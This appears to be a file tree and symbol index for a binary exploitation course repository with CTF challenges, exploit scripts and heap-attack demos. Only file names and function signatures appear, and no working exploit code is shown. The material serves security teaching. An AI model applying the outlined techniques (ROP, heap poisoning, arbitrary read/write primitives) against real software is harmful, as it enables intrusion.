│   │   │   │   ├── fullchain-buff.c
│   │   │   │   └── run.sh
│   │   │   └── xinetd
│   │   └── myfs/
│   │       ├── Dockerfile
│   │       ├── build.sh
│   │       ├── pow.py
│   │       ├── run.sh
│   │       ├── setup.sh
│   │       ├── share/
│   │       │   ├── Makefile
│   │       │   ├── flag1.txt
│   │       │   ├── flag2.txt
│   │       │   ├── flag3.txt
│   │       │   ├── fs.c
│   │       │   ├── fs.h
│   │       │   ├── gc.c
│   │       │   ├── gc.h
│   │       │   ├── list.h
│   │       │   ├── main.c
│   │       │   ├── mycrypto.c
│   │       │   ├── mycrypto.h
│   │       │   ├── myfs
│   │       │   ├── run.sh
│   │       │   ├── user.c
│   │       │   └── user.h
│   │       └── xinetd
│   ├── week1/
│   │   ├── demo/
│   │   │   ├── Makefile
│   │   │   ├── demo_BOF1
│   │   │   ├── demo_BOF1.c
│   │   │   ├── demo_BOF1.py
│   │   │   ├── demo_BOF2_leak_canary
│   │   │   ├── demo_BOF2_leak_canary.c
│   │   │   ├── demo_BOF2_leak_canary.py
│   │   │   ├── demo_GOT
│   │   │   ├── demo_GOT.c
│   │   │   ├── demo_GOT.sh
│   │   │   ├── demo_ROP
│   │   │   ├── demo_ROP.c
│   │   │   ├── demo_ROP.py
│   │   │   ├── demo_canary
│   │   │   ├── demo_canary.c
│   │   │   ├── demo_canary.sh
│   │   │   ├── demo_fmt
│   │   │   ├── demo_fmt.c
│   │   │   ├── demo_fmt.py
│   │   │   ├── demo_one_gadget_with_ROP
│   │   │   ├── demo_one_gadget_with_ROP.c
│   │   │   ├── demo_one_gadget_with_ROP.py
│   │   │   ├── demo_shellcode
│   │   │   ├── demo_shellcode.c
│   │   │   ├── demo_shellcode.py
│   │   │   ├── demo_stack_pivoting
│   │   │   ├── demo_stack_pivoting.c
│   │   │   └── demo_stack_pivoting.py
│   │   ├── hw/
│   │   │   ├── exp/
│   │   │   │   ├── fullchain-nerf.py
│   │   │   │   ├── fullchain.py
│   │   │   │   └── sandbox.py
│   │   │   ├── fullchain/
│   │   │   │   ├── Dockerfile
│   │   │   │   ├── docker-compose.yml
│   │   │   │   ├── share/
│   │   │   │   │   ├── Makefile
│   │   │   │   │   ├── flag
│   │   │   │   │   ├── fullchain
│   │   │   │   │   ├── fullchain.c
│   │   │   │   │   └── run.sh
│   │   │   │   └── xinetd
│   │   │   ├── fullchain-nerf/
│   │   │   │   ├── Dockerfile
│   │   │   │   ├── docker-compose.yml
│   │   │   │   ├── share/
│   │   │   │   │   ├── Makefile
│   │   │   │   │   ├── flag
│   │   │   │   │   ├── fullchain-nerf
│   │   │   │   │   ├── fullchain-nerf.c
│   │   │   │   │   └── run.sh
│   │   │   │   └── xinetd
│   │   │   └── sandbox/
│   │   │       ├── Dockerfile
│   │   │       ├── docker-compose.yml
│   │   │       ├── share/
│   │   │       │   ├── Makefile
│   │   │       │   ├── flag
│   │   │       │   ├── run.sh
│   │   │       │   ├── sandbox
│   │   │       │   └── sandbox.c
│   │   │       └── xinetd
│   │   └── lab/
│   │       ├── Got2win/
│   │       │   ├── Dockerfile
│   │       │   ├── docker-compose.yml
│   │       │   ├── share/
│   │       │   │   ├── Makefile
│   │       │   │   ├── flag
│   │       │   │   ├── got2win
│   │       │   │   ├── got2win.c
│   │       │   │   └── run.sh
│   │       │   └── xinetd
│   │       ├── Rop2win/
│   │       │   ├── Dockerfile
│   │       │   ├── docker-compose.yml
│   │       │   ├── share/
│   │       │   │   ├── Makefile
│   │       │   │   ├── flag
│   │       │   │   ├── rop2win
│   │       │   │   ├── rop2win.c
│   │       │   │   └── run.sh
│   │       │   └── xinetd
│   │       └── exp/
│   │           ├── Got2win.py
│   │           └── Rop2win.py
│   ├── week2/
│   │   ├── demo/
│   │   │   ├── Makefile
│   │   │   ├── demo_UAF
│   │   │   ├── demo_UAF.c
│   │   │   ├── demo_UAF.sh
│   │   │   ├── demo_double_free
│   │   │   ├── demo_double_free.c
│   │   │   ├── demo_double_free.sh
│   │   │   ├── demo_fastbin
│   │   │   ├── demo_fastbin.c
│   │   │   ├── demo_fastbin.sh
│   │   │   ├── demo_heap_overflow
│   │   │   ├── demo_heap_overflow.c
│   │   │   ├── demo_heap_overflow.sh
│   │   │   ├── demo_largebin
│   │   │   ├── demo_largebin.c
│   │   │   ├── demo_largebin.sh
│   │   │   ├── demo_malloc_state
│   │   │   ├── demo_malloc_state.c
│   │   │   ├── demo_malloc_state.sh
│   │   │   ├── demo_overlapping_chunks
│   │   │   ├── demo_overlapping_chunks.c
│   │   │   ├── demo_overlapping_chunks.sh
│   │   │   ├── demo_smallbin
│   │   │   ├── demo_smallbin.c
│   │   │   ├── demo_smallbin.sh
│   │   │   ├── demo_tcache
│   │   │   ├── demo_tcache.c
│   │   │   ├── demo_tcache.sh
│   │   │   ├── demo_tcache_poisoning
│   │   │   ├── demo_tcache_poisoning.c
│   │   │   ├── demo_tcache_poisoning.sh
│   │   │   ├── demo_unsortedbin
│   │   │   ├── demo_unsortedbin.c
│   │   │   └── demo_unsortedbin.sh
│   │   ├── hw/
│   │   │   ├── beeftalk/
│   │   │   │   ├── Dockerfile
│   │   │   │   ├── docker-compose.yml
│   │   │   │   ├── share/
│   │   │   │   │   ├── Makefile
│   │   │   │   │   ├── beeftalk
│   │   │   │   │   ├── beeftalk.c
│   │   │   │   │   ├── beeftalk.h
│   │   │   │   │   ├── flag
│   │   │   │   │   └── run.sh
│   │   │   │   └── xinetd
│   │   │   ├── easyheap/
│   │   │   │   ├── Dockerfile
│   │   │   │   ├── docker-compose.yml
│   │   │   │   ├── share/
│   │   │   │   │   ├── Makefile
│   │   │   │   │   ├── easyheap
│   │   │   │   │   ├── easyheap.c
│   │   │   │   │   ├── flag
│   │   │   │   │   └── run.sh
│   │   │   │   └── xinetd
│   │   │   ├── exp/
│   │   │   │   ├── beeftalk.py
│   │   │   │   ├── easyheap.py
│   │   │   │   └── final.py
│   │   │   └── final/
│   │   │       ├── Dockerfile
│   │   │       ├── docker-compose.yml
│   │   │       ├── share/
│   │   │       │   ├── Makefile
│   │   │       │   ├── final
│   │   │       │   ├── final.c
│   │   │       │   ├── final.py
│   │   │       │   ├── flag
│   │   │       │   └── run.sh
│   │   │       └── xinetd
│   │   ├── lab/
│   │   │   ├── exp/
│   │   │   │   └── market.py
│   │   │   ├── heapmath/
│   │   │   │   ├── Dockerfile
│   │   │   │   ├── docker-compose.yml
│   │   │   │   ├── share/
│   │   │   │   │   ├── Makefile
│   │   │   │   │   ├── flag
│   │   │   │   │   ├── heapmath
│   │   │   │   │   ├── heapmath.c
│   │   │   │   │   └── run.sh
│   │   │   │   └── xinetd
│   │   │   └── market/
│   │   │       ├── Dockerfile
│   │   │       ├── docker-compose.yml
│   │   │       ├── share/
│   │   │       │   ├── Makefile
│   │   │       │   ├── flag
│   │   │       │   ├── market
│   │   │       │   ├── market.c
│   │   │       │   └── run.sh
│   │   │       └── xinetd
│   │   └── src_review/
│   │       ├── free_internal.c
│   │       └── malloc_internal.c
│   └── week3/
│       ├── hw-exp/
│       │   └── FILE_note.py
│       └── lab-exp/
│           └── OvO8.js
├── 2022/
│   ├── README.md
│   ├── quals/
│   │   ├── exp/
│   │   │   ├── how2know_revenge_exp.py
│   │   │   ├── pbof_exp.py
│   │   │   ├── real_rop++_exp.py
│   │   │   └── superums_exp.py
│   │   ├── how2know_revenge/
│   │   │   ├── Dockerfile
│   │   │   ├── docker-compose.yml
│   │   │   ├── share/
│   │   │   │   ├── Makefile
│   │   │   │   ├── chal
│   │   │   │   ├── flag
│   │   │   │   ├── how2know_revenge.c
│   │   │   │   └── run.sh
│   │   │   └── xinetd
│   │   ├── pbof/
│   │   │   ├── Dockerfile
│   │   │   ├── docker-compose.yml
│   │   │   ├── share/
│   │   │   │   ├── chal
│   │   │   │   ├── exp.py
│   │   │   │   ├── flag
│   │   │   │   └── run.sh
│   │   │   └── xinetd
│   │   ├── real_rop/
│   │   │   ├── Dockerfile
│   │   │   ├── docker-compose.yml
│   │   │   ├── share/
│   │   │   │   ├── Makefile
│   │   │   │   ├── chal
│   │   │   │   ├── flag
│   │   │   │   ├── real_rop++.c
│   │   │   │   └── run.sh
│   │   │   └── xinetd
│   │   └── superums/
│   │       ├── Dockerfile
│   │       ├── docker-compose.yml
│   │       ├── share/
│   │       │   ├── Makefile
│   │       │   ├── chal
│   │       │   ├── flag
│   │       │   ├── run.sh
│   │       │   └── superums.c
│   │       └── xinetd
│   ├── week1/
│   │   └── hw/
│   │       ├── how2know/
│   │       │   ├── Dockerfile
│   │       │   ├── docker-compose.yml
│   │       │   ├── share/
│   │       │   │   ├── Makefile
│   │       │   │   ├── chal
│   │       │   │   ├── flag
│   │       │   │   ├── how2know.c
│   │       │   │   └── run.sh
│   │       │   └── xinetd
│   │       └── rop++/
│   │           ├── Dockerfile
│   │           ├── docker-compose.yml
│   │           ├── share/
│   │           │   ├── Makefile
│   │           │   ├── chal
│   │           │   ├── flag
│   │           │   ├── rop++.c
│   │           │   └── run.sh
│   │           └── xinetd
│   ├── week2/
│   │   ├── exp/
│   │   │   └── exp.py
│   │   ├── hw/
│   │   │   ├── babyums/
│   │   │   │   ├── Dockerfile
│   │   │   │   ├── docker-compose.yml
│   │   │   │   ├── share/
│   │   │   │   │   ├── Makefile
│   │   │   │   │   ├── babyums.c
│   │   │   │   │   ├── chal
│   │   │   │   │   ├── flag
│   │   │   │   │   └── run.sh
│   │   │   │   └── xinetd
│   │   │   └── exp/
│   │   │       └── babyums.py
│   │   └── lab/
│   │       └── babynote/
│   │           ├── Dockerfile
│   │           ├── docker-compose.yml
│   │           ├── share/
│   │           │   ├── Makefile
│   │           │   ├── babynote.c
│   │           │   ├── chal
│   │           │   ├── flag
│   │           │   └── run.sh
│   │           └── xinetd
│   └── week3/
│       ├── demo/
│       │   ├── Makefile
│       │   ├── fclose_trace.c
│       │   ├── fopen_trace.c
│       │   ├── fread_trace.c
│       │   ├── fwrite_trace.c
│       │   ├── rce.c
│       │   ├── rce.py
│       │   └── script
│       ├── exp/
│       │   ├── lab_aar_exp.py
│       │   ├── lab_aaw_exp.py
│       │   └── miniums.py
│       ├── hw/
│       │   └── miniums/
│       │       ├── Dockerfile
│       │       ├── docker-compose.yml
│       │       ├── share/
│       │       │   ├── Makefile
│       │       │   ├── chal
│       │       │   ├── flag
│       │       │   ├── miniums.c
│       │       │   ├── run.sh
│       │       │   └── test.py
│       │       └── xinetd
│       └── lab/
│           ├── aar/
│           │   ├── Dockerfile
│           │   ├── docker-compose.yml
│           │   ├── share/
│           │   │   ├── Makefile
│           │   │   ├── aar.c
│           │   │   ├── chal
│           │   │   ├── example.c
│           │   │   └── run.sh
│           │   └── xinetd
│           └── aaw/
│               ├── Dockerfile
│               ├── docker-compose.yml
│               ├── share/
│               │   ├── Makefile
│               │   ├── aaw.c
│               │   ├── chal
│               │   ├── example.c
│               │   └── run.sh
│               └── xinetd
├── Dockerfile
├── README.md
├── how2heap/
│   ├── D
│   ├── Makefile
│   ├── README.md
│   ├── bypass_safe_linking
│   ├── bypass_safe_linking.c
│   ├── decrypt_safe_linking
│   ├── decrypt_safe_linking.c
│   ├── fastbin_dup
│   ├── fastbin_dup.c
│   ├── fastbin_reverse_into_tcache
│   ├── fastbin_reverse_into_tcache.c
│   ├── house_of_botcake
│   ├── house_of_botcake.c
│   ├── house_of_einherjar
│   ├── house_of_einherjar.c
│   ├── house_of_lore
│   ├── house_of_lore.c
│   ├── house_of_mind_fastbin
│   ├── house_of_mind_fastbin.c
│   ├── large_bin_attack
│   ├── large_bin_attack.c
│   ├── ld_change.py
│   ├── mmap_overlapping_chunks
│   ├── mmap_overlapping_chunks.c
│   ├── poison_null_byte
│   ├── poison_null_byte.c
│   ├── safe_linking_demo.sh
│   ├── tcache_house_of_spirit
│   ├── tcache_house_of_spirit.c
│   ├── tcache_poisoning
│   ├── tcache_poisoning.c
│   ├── tcache_stashing_unlink_attack
│   ├── tcache_stashing_unlink_attack.c
│   ├── unsafe_unlink
│   └── unsafe_unlink.c
└── snippet
Download .txt
SYMBOL INDEX (347 symbols across 98 files)

FILE: 2021/eof-final/exp/logger.py
  function new (line 11) | def new(idx, _len, msg):
  function delete (line 18) | def delete(idx):
  function show (line 22) | def show(idx):
  function edit (line 26) | def edit(idx, msg):
  function get_name (line 31) | def get_name(name, namelen):

FILE: 2021/eof-final/logger/share/logger.c
  function init_proc (line 7) | void init_proc()
  function getu64 (line 17) | unsigned long getu64()
  type Log (line 24) | typedef struct _Log
  function new (line 33) | void new()
  function delete (line 51) | void delete()
  function show (line 62) | void show()
  function edit (line 70) | void edit()
  function main (line 79) | int main()

FILE: 2021/eof-final/sugar/share/sugar.c
  function main (line 5) | int main()

FILE: 2021/eof-final/two-gadget/share/two-gadget.c
  function init_proc (line 6) | void init_proc()
  function main (line 17) | int main()

FILE: 2021/quals/exp/myfs-fuzz.py
  function create_user (line 11) | def create_user(u, p):
  function delete_user (line 14) | def delete_user(u, p):
  function login (line 17) | def login(u, p):
  function create_normfile (line 20) | def create_normfile(fn):
  function create_dir (line 23) | def create_dir(fn):
  function delete_file (line 26) | def delete_file(fn):
  function enc_file (line 29) | def enc_file(fn, key):
  function dec_file (line 32) | def dec_file(fn, key):
  function enter_dir (line 35) | def enter_dir(fn):
  function info (line 38) | def info(fn):
  function read_file (line 41) | def read_file(fn):
  function write_file (line 44) | def write_file(fn):
  function set_prot_file (line 48) | def set_prot_file(fn, prot):
  function unset_prot_file (line 51) | def unset_prot_file(fn, prot):
  function slss_file (line 54) | def slss_file(fn):
  function slsd_file (line 57) | def slsd_file(fn):
  function hlss_file (line 60) | def hlss_file(fn):
  function hlsd_file (line 63) | def hlsd_file(fn):

FILE: 2021/quals/exp/myfs.py
  function create_user (line 15) | def create_user(u, p):
  function delete_user (line 18) | def delete_user(u, p):
  function login (line 21) | def login(u, p):
  function create_normfile (line 24) | def create_normfile(fn):
  function create_dir (line 27) | def create_dir(fn):
  function delete_file (line 30) | def delete_file(fn):
  function enc_file (line 33) | def enc_file(fn):
  function dec_file (line 36) | def dec_file(fn):
  function enter_dir (line 39) | def enter_dir(fn):
  function _info (line 42) | def _info(fn):
  function read_file (line 45) | def read_file(fn, data):
  function write_file (line 50) | def write_file(fn):
  function set_prot_file (line 53) | def set_prot_file(fn, prot):
  function unset_prot_file (line 56) | def unset_prot_file(fn, prot):
  function slss_file (line 59) | def slss_file(fn):
  function slsd_file (line 62) | def slsd_file(fn):
  function hlss_file (line 65) | def hlss_file(fn):
  function hlsd_file (line 68) | def hlsd_file(fn):
  function verify_hash (line 71) | def verify_hash(prefix, answer, difficulty):
  function solve_pow (line 77) | def solve_pow(r):
  function aar (line 119) | def aar(addr):
  function aaw (line 124) | def aaw(addr, content):

FILE: 2021/quals/fullchain-buff/share/fullchain-buff.c
  function myread (line 8) | void myread(char *addr)
  function mywrite (line 21) | void mywrite(char *addr)
  function chal (line 26) | void chal()
  function main (line 58) | int main()

FILE: 2021/quals/myfs/pow.py
  class NcPowser (line 9) | class NcPowser:
    method __init__ (line 10) | def __init__(self, difficulty=10, prefix_length=16):
    method get_challenge (line 14) | def get_challenge(self):
    method verify_hash (line 17) | def verify_hash(self, prefix, answer):
  function main (line 23) | def main():

FILE: 2021/quals/myfs/share/fs.c
  function MyFile (line 13) | MyFile *__new_mf()
  function MyFile (line 27) | MyFile *_new_normfile(uint8_t uid, char *fn)
  function MyFile (line 37) | MyFile *_new_dir(uint8_t uid, char *fn)
  function MyFile (line 44) | MyFile *_new_slink(uint8_t uid, MyFile *link, char *fn)
  function MyFile (line 56) | MyFile *_new_hlink(uint8_t uid, MyFile *link, char *fn)
  function MyFile (line 69) | MyFile* _get_mf_by_fname(MyFile *dir, char *fn)
  function MyFile (line 83) | MyFile* get_mf_by_fname(MyUser *mu, char *fn)
  function create_mf (line 88) | int create_mf(MyUser *mu, char *type, char *fn)
  function show_fileinfo (line 108) | void show_fileinfo(MyUser *mu, MyFile *mf, uint8_t all_name)
  function delete_mf (line 150) | int delete_mf(GC *gc, MyUser *mu, MyFile *mf)
  function enter_dir (line 175) | int enter_dir(MyUser *mu, MyFile *mf)
  function goto_rootfs (line 200) | int goto_rootfs(MyUser *mu)
  function enc_mf (line 209) | int enc_mf(MyUser *mu, MyFile *mf)
  function dec_mf (line 228) | int dec_mf(MyUser *mu, MyFile *mf)
  function read_mf (line 247) | int read_mf(MyUser *mu, MyFile *mf)
  function write_mf (line 280) | ssize_t write_mf(MyUser *ms, MyFile *mf)
  function set_mf_prot (line 297) | int set_mf_prot(MyUser *ms, MyFile *mf, char *prot)
  function unset_mf_prot (line 318) | int unset_mf_prot(MyUser *ms, MyFile *mf, char *prot)
  function list_dir (line 339) | void list_dir(MyUser *mu)
  function softlink_setsrc (line 352) | void softlink_setsrc(MyUser *mu, MyFile *mf)
  function softlink_setdst (line 357) | int softlink_setdst(MyUser *mu, char *fn)
  function hardlink_setsrc (line 373) | void hardlink_setsrc(MyUser *mu, MyFile *mf)
  function hardlink_setdst (line 378) | int hardlink_setdst(MyUser *mu, char *fn)
  function mf_gc_list_add (line 398) | int mf_gc_list_add(GC *gc, list_head *hd)
  function _release_mf (line 419) | int _release_mf(MyFile *mf)
  function is_desc (line 451) | int is_desc(MyFile *curr_mf, MyFile *target)
  function is_ref_by_other (line 469) | int is_ref_by_other(MyFile *dir, MyFile *target)
  function is_existed (line 487) | int is_existed(MyFile **mf, MyFile *curr_dir, char *fn)

FILE: 2021/quals/myfs/share/fs.h
  type iNode (line 20) | typedef struct iNode
  type MyFile (line 26) | typedef struct _MyFile
  function mf_is_readable (line 45) | static inline int mf_is_readable(MyFile *mf)
  function mf_is_writable (line 50) | static inline int mf_is_writable(MyFile *mf)
  function mf_is_deleted (line 55) | static inline int mf_is_deleted(MyFile *mf)
  function mf_is_enc (line 60) | static inline int mf_is_enc(MyFile *mf)
  function mf_is_dir (line 65) | static inline int mf_is_dir(MyFile *mf)
  function mf_is_slink (line 70) | static inline int mf_is_slink(MyFile *mf)
  function mf_is_hlink (line 75) | static inline int mf_is_hlink(MyFile *mf)
  function mf_is_normfile (line 80) | static inline int mf_is_normfile(MyFile *mf)

FILE: 2021/quals/myfs/share/gc.c
  function GC (line 4) | GC *new_gc()

FILE: 2021/quals/myfs/share/gc.h
  type GC (line 7) | typedef struct _GC {

FILE: 2021/quals/myfs/share/list.h
  type list_head (line 11) | typedef struct list_head {
  function list_add (line 15) | static inline void list_add(list_head *hd, list_head *node)
  function list_delete (line 21) | static inline void list_delete(list_head *hd, list_head *node)

FILE: 2021/quals/myfs/share/main.c
  function banner (line 15) | static void banner()
  function usage (line 29) | static void usage()
  function pexit (line 72) | void pexit(const char *msg)
  function mock (line 78) | int mock()
  function init_proc (line 230) | void init_proc()
  function main (line 241) | int main()

FILE: 2021/quals/myfs/share/mycrypto.c
  function mycrypto_try_init (line 12) | void mycrypto_try_init()
  function hexdump (line 24) | int hexdump(unsigned char *data, uint16_t len)
  function my_encrypt (line 31) | int my_encrypt(unsigned char *plaintext, uint16_t *len)
  function my_decrypt (line 60) | int my_decrypt(unsigned char *cipher, uint16_t *len)

FILE: 2021/quals/myfs/share/user.c
  function MyUser (line 9) | MyUser *__new_mu(const char *username, const char *password, MyFile *roo...
  function MyUser (line 35) | MyUser *new_mu(const char *username, const char *password, MyFile *rootf...
  function delete_mu (line 40) | int delete_mu(const char *username, const char *password, MyUser *curr_mu)
  function MyUser (line 68) | MyUser *login_mu(const char *username, const char *password)
  function MyUser (line 78) | MyUser *_get_mu_by_uname(const char *username)

FILE: 2021/quals/myfs/share/user.h
  type _MyUser (line 9) | struct _MyUser
  type MyUser (line 10) | typedef struct _MyUser MyUser;
  type _MyUser (line 15) | struct _MyUser
  function mu_is_deleted (line 27) | static inline int mu_is_deleted(MyUser *mu)

FILE: 2021/week1/demo/demo_BOF1.c
  function backdoor (line 5) | void backdoor()
  function main (line 10) | int main()

FILE: 2021/week1/demo/demo_BOF2_leak_canary.c
  function backdoor (line 5) | void backdoor()
  function main (line 10) | int main()

FILE: 2021/week1/demo/demo_GOT.c
  function main (line 3) | int main()

FILE: 2021/week1/demo/demo_ROP.c
  function main (line 4) | int main()

FILE: 2021/week1/demo/demo_canary.c
  function main (line 3) | int main()

FILE: 2021/week1/demo/demo_fmt.c
  function main (line 5) | int main()

FILE: 2021/week1/demo/demo_one_gadget_with_ROP.c
  function main (line 4) | int main()

FILE: 2021/week1/demo/demo_shellcode.c
  function main (line 4) | int main()

FILE: 2021/week1/demo/demo_stack_pivoting.c
  function main (line 6) | int main()

FILE: 2021/week1/hw/exp/fullchain.py
  function _set_loc (line 11) | def _set_loc(loc):
  function _set (line 14) | def _set(data, _len):
  function _set_opt (line 19) | def _set_opt(opt):

FILE: 2021/week1/hw/fullchain-nerf/share/fullchain-nerf.c
  function setup_seccomp (line 9) | void setup_seccomp()
  function myread (line 25) | void myread(char *addr)
  function mywrite (line 38) | void mywrite(char *addr)
  function chal (line 43) | void chal()
  function main (line 76) | int main()

FILE: 2021/week1/hw/fullchain/share/fullchain.c
  function setup_seccomp (line 9) | void setup_seccomp()
  function myset (line 26) | void myset(char *addr)
  function myread (line 43) | void myread(char *addr)
  function mywrite (line 48) | void mywrite(char *addr)
  function chal (line 53) | void chal()
  function main (line 87) | int main()

FILE: 2021/week1/hw/sandbox/share/sandbox.c
  type _Register (line 7) | struct _Register {
  function syscall_monitor (line 87) | void syscall_monitor()
  function call_reg_monitor (line 98) | void call_reg_monitor()
  function jmp_func (line 103) | void jmp_func(char *sc, int *idx, unsigned long func)
  function main (line 115) | int main()

FILE: 2021/week1/lab/Got2win/share/got2win.c
  function main (line 8) | int main()

FILE: 2021/week1/lab/Rop2win/share/rop2win.c
  function main (line 13) | int main()

FILE: 2021/week2/demo/demo_UAF.c
  function main (line 4) | int main()

FILE: 2021/week2/demo/demo_double_free.c
  function main (line 4) | int main()

FILE: 2021/week2/demo/demo_fastbin.c
  function main (line 4) | int main()

FILE: 2021/week2/demo/demo_heap_overflow.c
  function main (line 4) | int main()

FILE: 2021/week2/demo/demo_largebin.c
  function main (line 4) | int main()

FILE: 2021/week2/demo/demo_malloc_state.c
  function main (line 4) | int main()

FILE: 2021/week2/demo/demo_overlapping_chunks.c
  function main (line 4) | int main()

FILE: 2021/week2/demo/demo_smallbin.c
  function main (line 4) | int main()

FILE: 2021/week2/demo/demo_tcache.c
  function main (line 4) | int main()

FILE: 2021/week2/demo/demo_tcache_poisoning.c
  function main (line 4) | int main()

FILE: 2021/week2/demo/demo_unsortedbin.c
  function main (line 4) | int main()

FILE: 2021/week2/hw/beeftalk/share/beeftalk.c
  type User (line 13) | typedef struct _User {
  function User (line 38) | User *init_user()
  function free_user (line 53) | void free_user(User *u)
  function show_user (line 66) | void show_user(User *u)
  function delete_account (line 77) | void delete_account(unsigned long token)
  function User (line 87) | User *find_user_by_token(unsigned long token)
  function User (line 96) | User *login()
  function update_user (line 113) | void update_user(User *u)
  function signup (line 130) | void signup()
  function chat (line 180) | void chat(User *u)
  function main (line 288) | int main()

FILE: 2021/week2/hw/beeftalk/share/beeftalk.h
  function safe_read (line 23) | ssize_t safe_read(int fd, void *ptr, size_t count)
  function readstr (line 32) | void readstr(char *ptr, unsigned cnt)
  function readu64 (line 39) | unsigned long readu64()
  function readlx64 (line 46) | unsigned long readlx64()
  function readi64 (line 53) | long int readi64()
  function readc (line 60) | unsigned char readc()
  function show_chat_menu (line 67) | void show_chat_menu()
  function show_begin_menu (line 76) | void show_begin_menu()

FILE: 2021/week2/hw/easyheap/share/easyheap.c
  type Book (line 6) | typedef struct _Book {
  function safe_read (line 15) | ssize_t safe_read(int fd, void *ptr, size_t count)
  function readstr (line 24) | void readstr(char *ptr, unsigned cnt)
  function readu64 (line 31) | unsigned long readu64()
  function show_book (line 38) | void show_book(Book *book)
  function add_book (line 45) | void add_book()
  function delete_book (line 80) | void delete_book()
  function edit_book (line 95) | void edit_book()
  function list_book (line 116) | void list_book()
  function get_name_from_idx (line 126) | void get_name_from_idx()
  function main (line 138) | int main()

FILE: 2021/week2/hw/exp/beeftalk.py
  function login (line 10) | def login(token):
  function signup (line 14) | def signup(name, desc, job, money, correct):
  function leave (line 24) | def leave():
  function update (line 28) | def update(name, desc, job, money):
  function delete (line 35) | def delete():
  function logout (line 39) | def logout():

FILE: 2021/week2/hw/exp/easyheap.py
  function add (line 14) | def add(idx, nlen, name, price):
  function delete (line 21) | def delete(idx):
  function edit (line 25) | def edit(idx, name, price):
  function list_ (line 31) | def list_():
  function find_ (line 34) | def find_(idx):

FILE: 2021/week2/hw/exp/final.py
  function buy (line 18) | def buy(idx, nlen, name):
  function release (line 25) | def release(idx):
  function change (line 29) | def change(idx, nlen, name, len_change):
  function play (line 39) | def play(idx):

FILE: 2021/week2/hw/final/share/final.c
  function safe_read (line 7) | ssize_t safe_read(int fd, void *ptr, size_t count)
  function readstr (line 16) | void readstr(char *ptr, unsigned cnt)
  function readu64 (line 23) | unsigned long readu64()
  type Animal (line 31) | typedef struct _Animal {
  function meow (line 40) | void meow(char* type, char *name) { printf("MEOW, I am a cute %s, my nam...
  function woof (line 41) | void woof(char* type, char *name) { printf("WOOF, I am a cute %s, my nam...
  function buy (line 43) | void buy()
  function release (line 82) | void release()
  function change (line 96) | void change()
  function play (line 118) | void play()
  function main (line 130) | int main()

FILE: 2021/week2/hw/final/share/final.py
  function buy (line 18) | def buy(idx, nlen, name):
  function release (line 25) | def release(idx):
  function change (line 29) | def change(idx, nlen, name, len_change):
  function play (line 39) | def play(idx):

FILE: 2021/week2/lab/heapmath/share/heapmath.c
  function main (line 8) | int main()

FILE: 2021/week2/lab/market/share/market.c
  function safe_read (line 7) | ssize_t safe_read(int fd, void *ptr, size_t count)
  function readstr (line 16) | void readstr(char *ptr, unsigned cnt)
  function readu64 (line 23) | unsigned long readu64()
  type User (line 30) | typedef struct _User {
  function main (line 35) | int main()

FILE: 2021/week2/src_review/free_internal.c
  function __libc_free (line 5) | void
  function _int_free (line 43) | static void
  function __always_inline (line 233) | static __always_inline void
  function malloc_consolidate (line 248) | static void malloc_consolidate(mstate av)

FILE: 2021/week2/src_review/malloc_internal.c
  function __always_inline (line 63) | static __always_inline void *

FILE: 2021/week3/hw-exp/FILE_note.py
  function write_file (line 12) | def write_file(data):
  function save_file (line 16) | def save_file():

FILE: 2021/week3/lab-exp/OvO8.js
  function info (line 6) | function info(str, val) {
  function fakeobj (line 20) | function fakeobj(addr) {
  function addrof (line 26) | function addrof(obj) {
  function aar64 (line 32) | function aar64(addr) {
  function aaw64 (line 43) | function aaw64(addr, val) {

FILE: 2022/quals/exp/superums_exp.py
  function add (line 11) | def add(idx):
  function edit (line 15) | def edit(idx, sz, data):
  function delete (line 21) | def delete(idx):
  function show (line 25) | def show():

FILE: 2022/quals/how2know_revenge/share/how2know_revenge.c
  function main (line 10) | int main()

FILE: 2022/quals/real_rop/share/real_rop++.c
  function main (line 3) | int main()

FILE: 2022/quals/superums/share/superums.c
  type Note (line 5) | struct Note
  type Note (line 11) | struct Note
  function get_idx (line 13) | static unsigned short get_idx()
  function get_size (line 26) | static unsigned short get_size()
  function add_note (line 39) | void add_note()
  function edit_data (line 51) | void edit_data()
  function del_note (line 73) | void del_note()
  function show_notes (line 85) | void show_notes()
  function main (line 95) | int main()

FILE: 2022/week1/hw/how2know/share/how2know.c
  function main (line 10) | int main()

FILE: 2022/week1/hw/rop++/share/rop++.c
  function main (line 5) | int main()

FILE: 2022/week2/exp/exp.py
  function add (line 11) | def add(idx, name):
  function edit (line 16) | def edit(idx, sz, data):
  function delete (line 22) | def delete(idx):
  function show (line 26) | def show():

FILE: 2022/week2/hw/babyums/share/babyums.c
  type User (line 7) | struct User
  type User (line 14) | struct User
  function get_idx (line 16) | static short int get_idx()
  function get_size (line 29) | static short int get_size()
  function add_user (line 42) | void add_user()
  function edit_data (line 59) | void edit_data()
  function del_user (line 74) | void del_user()
  function show_users (line 84) | void show_users()
  function add_admin (line 94) | void add_admin()
  function main (line 102) | int main()

FILE: 2022/week2/hw/exp/babyums.py
  function add (line 11) | def add(idx, name):
  function edit (line 16) | def edit(idx, sz, data):
  function delete (line 22) | def delete(idx):
  function show (line 26) | def show():

FILE: 2022/week2/lab/babynote/share/babynote.c
  type Note (line 5) | struct Note
  type Note (line 11) | struct Note
  function get_idx (line 13) | static short int get_idx()
  function get_size (line 26) | static short int get_size()
  function add_note (line 36) | void add_note()
  function edit_data (line 50) | void edit_data()
  function del_note (line 65) | void del_note()
  function show_notes (line 75) | void show_notes()
  function main (line 85) | int main()

FILE: 2022/week3/demo/fclose_trace.c
  function main (line 4) | int main()

FILE: 2022/week3/demo/fopen_trace.c
  function main (line 4) | int main()

FILE: 2022/week3/demo/fread_trace.c
  function main (line 4) | int main()

FILE: 2022/week3/demo/fwrite_trace.c
  function main (line 4) | int main()

FILE: 2022/week3/demo/rce.c
  function main (line 6) | int main()

FILE: 2022/week3/demo/rce.py
  function rce (line 35) | def rce():

FILE: 2022/week3/exp/lab_aar_exp.py
  function aar (line 15) | def aar():

FILE: 2022/week3/exp/lab_aaw_exp.py
  function aaw (line 15) | def aaw():

FILE: 2022/week3/exp/miniums.py
  function add (line 49) | def add(idx, name):
  function edit (line 54) | def edit(idx, sz, data):
  function delete (line 60) | def delete(idx):
  function show (line 64) | def show():

FILE: 2022/week3/hw/miniums/share/miniums.c
  type User (line 7) | struct User
  type User (line 14) | struct User
  function get_idx (line 16) | static short int get_idx()
  function get_size (line 29) | static short int get_size()
  function add_user (line 42) | void add_user()
  function edit_data (line 56) | void edit_data()
  function del_user (line 75) | void del_user()
  function show_users (line 87) | void show_users()
  function main (line 102) | int main()

